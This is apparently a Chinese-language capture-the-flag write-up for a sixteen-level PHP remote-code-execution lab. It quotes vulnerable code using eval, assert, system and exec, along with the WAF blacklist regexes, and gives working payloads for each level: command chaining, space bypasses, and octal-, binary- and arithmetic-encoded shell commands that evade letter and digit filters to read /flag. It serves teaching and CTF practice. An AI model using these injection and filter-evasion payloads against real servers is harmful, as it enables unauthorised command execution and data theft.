Level 0
这个题是告诉了RCE是什么,介绍了一下RCE
Level 1
这道题目的核心代码是这一部分,通过eval()函数将传入的a的参数作为代码执行
Level 2
这道题目上来就要抽函数
同时定义了全局变量flag,get传参输入action=r和action=submit来进行选择函数,我这里选中了assert函数;assert() 用于调试,检查表达式是否为 true。若表达式为字符串,会将其当作 PHP 代码执行(类似 eval())。所以这个函数其实可以当做eval来使用
接下来构造payload,因为这个函数跟eval类似,会将输入的内容作为代码执行,由于前面提到$ flag是全局变量,构造:
//post
content='print_r($flag)'
直接读取flag
Level 3
这题的核心代码是:
system($_POST['a']);
highlight_file(__FILE__);
貌似跟第一题很像,但是这里是用system函数,把传入的参数作为system函数的参数执行接下来就是读取flag了
Level 4
这题的核心代码:
function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
这题考察的是shell运算符和通配符,通过ping一个地址来执行命令此时是正常执行ping的命令,接下来可以在这个ping的IP后面用连接符连接上要执行的命令
后面一样的读取flag就行了
Level 5
这一题开始出现黑名单的概念
function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
但是这里只过滤了flag,有非常多的方法,最简单的就是用/和\分隔就行了,也可以参考题目中提到的用*,[],{}去触发匹配
Level 6
这题的黑名单最开始看见以为是无字母的rce
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
结果发现小写的a没有过滤,但是黑名单太多了,根据经验,一般flag都是放在根目录下尝试构造
?cmd=*a * /**a *,但是回显显示匹配到了黑名单,我就有点懵逼,后面去看了一下wp,发现可以使用base64来输出,这里加上数字匹配也是只有base64,因为一般情况下flag在根目录下,所以构造payload
base64加密开就是flag
Level 7
这关就是简单的空格绕过
空格可以用下面的符号来绕过
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
Level 8
根据题目提示这个是一个无回显的RCE,而且题目中也告诉了无回显的原理这里解释一下stdout和stderr,stdout是正常输出文件描述符1,比如我们执行的命令结果,stderr是报错输出文件描述符2,就是一些运行的错误信息,所以为什么加上2>&1就无法回显报错信息,因为将报错信息重定向到·正常输出中,然后又定向到空设备丢弃,就形成了无回显,这里可以使用;将后面的重定向给截断,这里需要了解一个问题>重定向符号需要联合其它命令来一起使用;这里加上;相当于cat /flag;>dev/null后面的>dev/null就相当于是执行一个空命令然后输入到/dev/null里
payload:
cat /flag;
Level 9
题目:
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
发现是无字母的类型,然后过滤了一堆字符,发现$没被过滤,根据题目提示,这题用8进制转义,可以用:
$''
来进行8进制转义,同时题目也提示8进制不能执行带空格的参数命令
,如果要执行这样的命令需要再用上面的格式进行分割;比如"ls -l"也就是$'\154\163\40\55\154'
只能拆分为$'\154\163'
空格 $'\55\154'
三部分
payload:
?cmd=$'\143\141\164' $'\57\146\154\141\147'
Level 10
题目:
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
考点为终端中支持 $((2#binary)) 解析二进制数据。
ls的payload:
$0<<<\$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
cat /flag
%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((1%3c%3c1))%2310001111))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310100100))%5c%5c%24((%24((1%3c%3c1))%23101000))%5c%5c%24((%24((1%3c%3c1))%23111001))%5c%5c%24((%24((1%3c%3c1))%2310010010))%5c%5c%24((%24((1%3c%3c1))%2310011010))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310010011))%5c%27
Level 11
题目代码:
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
highlight_file(__FILE__);
这题跟上面差不多,只是过滤了1,题目中提供了个脚本可以一把梭,这里的1可以用{##}进行绕过
ls /的payload:
$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\'
接下来跟上面的一样直接cat
Level 12
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\'
根据脚本生成的ls /
直接cat
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
level 13
题目:
function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
题目提示这关的考点,用$(())取反绕过
这里是用了补码取反的原理
cat的payload
__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
得到flag
Level 14
这关7字符RCE,进去就提示太长了
一直没看见哪里有题目参数,后面去看了wp才知道get参数有个1
可以用:
cat /f*
来匹配flag
Level 15
这题是5字符的RCE
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>
定义了一个sandbox变量是/www/sandbox/拼接上md5加密(orange加用户ip),然后根据上面的用户ip那一串创建一个文件夹,然后进去这个文件夹,上传一个参数cmd限制长度为5,然后使用exec函数执行这个命令,但是我们知道exec这个函数执行是相当于没有回显的只会回显最后一行,而如果传参数reset就删除文件夹
这里使用>重定向符号来解决
把ls指令,cat指令,/f*分别传入再执行